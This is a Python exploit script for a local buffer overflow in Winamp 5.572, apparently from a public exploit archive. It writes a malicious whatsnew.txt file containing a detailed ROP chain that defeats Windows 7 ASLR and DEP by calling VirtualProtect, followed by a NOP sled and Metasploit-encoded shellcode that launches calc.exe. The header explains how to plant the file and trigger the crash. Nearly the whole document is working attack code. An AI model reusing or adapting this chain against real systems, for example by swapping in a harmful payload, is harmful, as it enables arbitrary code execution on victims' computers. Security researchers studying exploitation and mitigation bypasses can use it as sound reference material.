Winamp 5.572 Buffer Overflow

`#!/usr/bin/python  
  
#Exploit Title: Winamp v5.572 Local BoF Exploit (Win7 ASLR and DEP Bypass)  
#Date: June 26, 2010  
#Author: Node  
#Software Link: http://download.nullsoft.com/winamp/client/winamp5572_full_emusic-7plus_en-us.exe  
#Tested on: Windows 7 Ultimate x64 ENG  
#Badchars: '\x00\xff\x5c\x2f\x0a\x0d\x20'  
#Instructions: Replace generated whatsnew.txt with original in Winamp folder, Start Winamp, rightclick the flash symbol, "Nullsoft Winamp...", Version history  
  
  
print "[+] Winamp_5.572_whatsnew.txt Win7 ASLR and DEP Bypass - by Node"  
  
version = "Winamp 5.572"  
  
rop = "A" * 540 # Offset  
rop += "\x8a\x35\x84\x07" #0x0784358A : # PUSH ESP # POP ESI # RETN [Module : in_wm.dll]  
rop += "A"*16  
rop += "\x8a\x3d\x14\x07" #0x07143D8A : # PUSH ESI # SUB AL,5E # XOR EAX,EAX # POP EBP # RETN [Module: zlib.dll]  
rop += "\xf7\xb8\x40\x07" #0x0740B8F7 : # XCHG EAX,EBP # RETN [Module : gen_ff.dll]  
rop += "\xd6\x5e\x65\x07" #0x07655ED6 : # ADD ESP,30 # RETN [Module : in_cdda.dll]  
rop += "0000" #VirtualProtect placeholder  
rop += "DDDD" #return address placeholder  
rop += "1111" #lpAddress placeholder  
rop += "2222" #dwsize placeholder  
rop += "3333" #flNewProtect placeholder  
rop += "\x60\xf6\x78\x07" # lpflOldProtect (0x0778f660 writable address in in_mp3.dll)   
rop += "A"*24  
#---------------Grab a kernel32 pointer from the stack--------------------  
rop += "\x74\x6c\x96\x07" #0x07966C74 : # XCHG EAX,EDX # RETN [Module : ml_local.dll]  
rop += "\x1a\x10\x09\x07" #0x0709101A : # XOR EAX,EAX # RETN [Module : libsndfile.dll]  
rop += "\x3a\xd8\x8d\x07"*4 #0x078DD83A : # ADD EAX,41 # RETN [Module : ml_disc.dll]  
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]  
rop += "\x65\x72\x0a\x07" #0x070A7265 : # ADD EAX,ECX # RETN [Module : libsndfile.dll]  
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]  
rop += "\x65\x72\x0a\x07" #0x070A7265 : # ADD EAX,ECX # RETN [Module : libsndfile.dll]  
rop += "\x3a\xd8\x8d\x07"*3 #0x078DD83A : # ADD EAX,41 # RETN [Module : ml_disc.dll]  
rop += "\x29\x13\x09\x07"*29 #0x07091329 : # INC EAX # RETN [Module : libsndfile.dll]  
rop += "\x74\x6c\x96\x07" #0x07966C74 : # XCHG EAX,EDX # RETN [Module : ml_local.dll]  
rop += "\xb3\x6a\x6c\x07" #0x076C6AB3 : # SUB EAX,EDX # RETN [Module : in_flv.dll]  
rop += "\xa7\x41\x11\x07" #0x071141A7 : # MOV EAX,DWORD PTR DS:[EAX] # RETN [Module : tataki.dll]  
#----------------------EAX=kernel32, ESI=start----------------------  
  
#---------------Change kernel32 pointer to VirtualProtect()-----------------  
rop += "\x74\x6c\x96\x07" #0x07966C74 : # XCHG EAX,EDX # RETN [Module : ml_local.dll]  
rop += "\x1a\x10\x09\x07" #0x0709101A : # XOR EAX,EAX # RETN [Module : libsndfile.dll]  
rop += "\x3a\xd8\x8d\x07"*4 #0x078DD83A : # ADD EAX,41 # RETN [Module : ml_disc.dll] 104  
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]  
rop += "\x65\x72\x0a\x07" #0x070A7265 : # ADD EAX,ECX # RETN [Module : libsndfile.dll] 208  
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]  
rop += "\x65\x72\x0a\x07" #0x070A7265 : # ADD EAX,ECX # RETN [Module : libsndfile.dll] 410  
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]  
rop += "\x65\x72\x0a\x07" #0x070A7265 : # ADD EAX,ECX # RETN [Module : libsndfile.dll] 820  
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]  
rop += "\x65\x72\x0a\x07" #0x070A7265 : # ADD EAX,ECX # RETN [Module : libsndfile.dll] 1040  
rop += "\x67\x40\x5b\x07" #0x075B4067 : # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : gen_ml.dll]  
rop += "\x65\x72\x0a\x07" #0x070A7265 : # ADD EAX,ECX # RETN [Module : libsndfile.dll] 2080  
rop += "\x08\x13\x8d\x07" #0x078D1308 : # SUB EAX,41 # RETN [Module : ml_disc.dll] 203f  
rop += "\xc6\xd7\x8d\x07" #0x078DD7C6 : # SUB EAX,20 # RETN [Module : ml_disc.dll] 201f  
rop += "\xec\x11\x09\x07"*4 #0x070911EC : # DEC EAX # RETN [Module : libsndfile.dll] 201b  
rop += "\x74\x6c\x96\x07" #0x07966C74 : # XCHG EAX,EDX # RETN [Module : ml_local.dll]  
rop += "\x10\x7d\x0b\x07" #0x070B7D10 : # ADD EAX,EDX # RETN [Module : libsndfile.dll]  
#---------------EAX=VirtualProtect(), ESI=start-----------------  
  
#-------------Write VirtualProtect() to stack----------------------  
rop += "\x82\x55\x40\x07"*12 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll]  
rop += "\x43\x5d\x6f\x07" #0x076F5D43 : # MOV DWORD PTR DS:[ESI],EAX # RETN [Module : in_midi.dll]  
#---------------EAX=VirtualProtect(),ESI=start+12(VP)-----------  
  
  
#-------------Write return address----------------------  
rop += "\xdd\xb7\x3e\x07" #0x073EB7DD : # MOV EAX,ESI # RETN [Module : gen_ff.dll]  
rop += "\x74\x6c\x96\x07" #0x07966C74 : # XCHG EAX,EDX # RETN [Module : ml_local.dll]  
rop += "\x1a\x10\x09\x07" #0x0709101A : # XOR EAX,EAX # RETN [Module : libsndfile.dll]  
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]  
rop +="AAAA"  
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]  
rop +="AAAA"  
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]  
rop +="AAAA"  
rop += "\x10\x7d\x0b\x07" #0x070B7D10 : # ADD EAX,EDX # RETN [Module : libsndfile.dll]  
rop += "\x82\x55\x40\x07"*4 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll]  
rop += "\x43\x5d\x6f\x07" #0x076F5D43 : # MOV DWORD PTR DS:[ESI],EAX # RETN [Module : in_midi.dll]  
#------------EAX=start+12+312(shellcode),EDX=start+12(VP),ESI=start+16------------  
  
#-------------Write placeholder 1----------------------  
rop += "\x82\x55\x40\x07"*4 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll]  
rop += "\x43\x5d\x6f\x07" #0x076F5D43 : # MOV DWORD PTR DS:[ESI],EAX # RETN [Module : in_midi.dll]  
#------------EAX=start+12+312(shellcode),EDX=start+12(VP),ESI=start+20------------  
  
#-------------Write placeholder 2----------------------  
rop += "\x89\xb3\x34\x08" #0x0834B389 : # XCHG EAX,EBX # RETN [Module : jnetlib.w5s]  
rop += "\x1a\x10\x09\x07" #0x0709101A : # XOR EAX,EAX # RETN [Module : libsndfile.dll]  
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]  
rop +="AAAA"  
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]  
rop +="AAAA"  
rop += "\x45\x35\x10\x08" #0x08103545 : # ADD EAX,104 # POP EBP # RETN [Module : freetype.wac]  
rop +="AAAA"  
rop += "\x82\x55\x40\x07"*4 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll]  
rop += "\x43\x5d\x6f\x07" #0x076F5D43 : # MOV DWORD PTR DS:[ESI],EAX # RETN [Module : in_midi.dll]  
#---------EAX = 0x30c(size 780),EBX = shellcode, ESI=start+24(placeholder 2), EDX=start+12(VP)--------------  
  
#-------------Write placeholder 3----------------------  
rop += "\x1a\x10\x09\x07" #0x0709101A : # XOR EAX,EAX # RETN [Module : libsndfile.dll]  
rop += "\x3a\xd8\x8d\x07" #0x078DD83A : # ADD EAX,41 # RETN [Module : ml_disc.dll]  
rop += "\xec\x11\x09\x07" #0x070911EC : # DEC EAX # RETN [Module : libsndfile.dll]  
rop += "\x82\x55\x40\x07"*4 #0x07405582 : # INC ESI # RETN [Module : gen_ff.dll]  
rop += "\x43\x5d\x6f\x07" #0x076F5D43 : # MOV DWORD PTR DS:[ESI],EAX # RETN [Module : in_midi.dll]  
rop += "\x74\x6c\x96\x07" #0x07966C74 : # XCHG EAX,EDX # RETN [Module : ml_local.dll]  
#--------EAX=start+12(VP), EBX=start+12+312(shellcode), ESI=start+28-----------  
  
  
#----------fix EBP problem after call return----------------  
rop += "\x89\xb3\x34\x08" #0x0834B389 : # XCHG EAX,EBX # RETN [Module : jnetlib.w5s]  
rop += "\x1a\x10\x09\x07" #0x0709101A : # XOR EAX,EAX # RETN [Module : libsndfile.dll]  
rop += "\xf7\xb8\x40\x07" #0x0740B8F7 : # XCHG EAX,EBP # RETN [Module : gen_ff.dll]  
rop += "\x89\xb3\x34\x08" #0x0834B389 : # XCHG EAX,EBX # RETN [Module : jnetlib.w5s]  
rop += "\x85\xe0\x09\x07" #0x0709E085 : # ADD EBP,EAX # RETN [Module : libsndfile.dll]  
#---------EAX=vp, EBX=?, EDX=40, ESI=start+28, EBP=vp--------  
  
#----------------go to VirtualProtect()-------------------  
rop += "\xc1\xbb\x3c\x07" #0x073CBBC1 : # XCHG EAX,ESP # RETN [Module : gen_ff.dll]  
#------------------------bang!-----------------------------  
  
nops = "\x90"*304  
  
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\xff\x5c\x2f\x0a\x0d\x20' -t perl  
shellcode = ("\xbb\xd2\xaa\xfa\x33\x31\xc9\xb1\x33\xdb\xd3\xd9\x74\x24" +  
"\xf4\x5e\x83\xc6\x04\x31\x5e\x0b\x03\x5e\xd9\x48\x0f\xcf" +  
"\x35\x05\xf0\x30\xc5\x76\x78\xd5\xf4\xa4\x1e\x9d\xa4\x78" +  
"\x54\xf3\x44\xf2\x38\xe0\xdf\x76\x95\x07\x68\x3c\xc3\x26" +  
"\x69\xf0\xcb\xe5\xa9\x92\xb7\xf7\xfd\x74\x89\x37\xf0\x75" +  
"\xce\x2a\xfa\x24\x87\x21\xa8\xd8\xac\x74\x70\xd8\x62\xf3" +  
"\xc8\xa2\x07\xc4\xbc\x18\x09\x15\x6c\x16\x41\x8d\x07\x70" +  
"\x72\xac\xc4\x62\x4e\xe7\x61\x50\x24\xf6\xa3\xa8\xc5\xc8" +  
"\x8b\x67\xf8\xe4\x06\x79\x3c\xc2\xf8\x0c\x36\x30\x85\x16" +  
"\x8d\x4a\x51\x92\x10\xec\x12\x04\xf1\x0c\xf7\xd3\x72\x02" +  
"\xbc\x90\xdd\x07\x43\x74\x56\x33\xc8\x7b\xb9\xb5\x8a\x5f" +  
"\x1d\x9d\x49\xc1\x04\x7b\x3c\xfe\x57\x23\xe1\x5a\x13\xc6" +  
"\xf6\xdd\x7e\x8d\x09\x6f\x05\xe8\x09\x6f\x06\x5b\x61\x5e" +  
"\x8d\x34\xf6\x5f\x44\x71\x08\x2a\xc5\xd0\x80\xf3\x9f\x60" +  
"\xcd\x03\x4a\xa6\xeb\x87\x7f\x57\x08\x97\xf5\x52\x55\x1f" +  
"\xe5\x2e\xc6\xca\x09\x9c\xe7\xde\x69\x43\x7b\x82\x43\xe6" +  
"\xfb\x21\x9c\xe2");  
  
trash = "B" * 600  
  
expfile = open('whatsnew.txt','w')  
expfile.write(version + rop + nops + shellcode + trash)  
print "[+] whatsnew.txt generated."  
expfile.close()  
`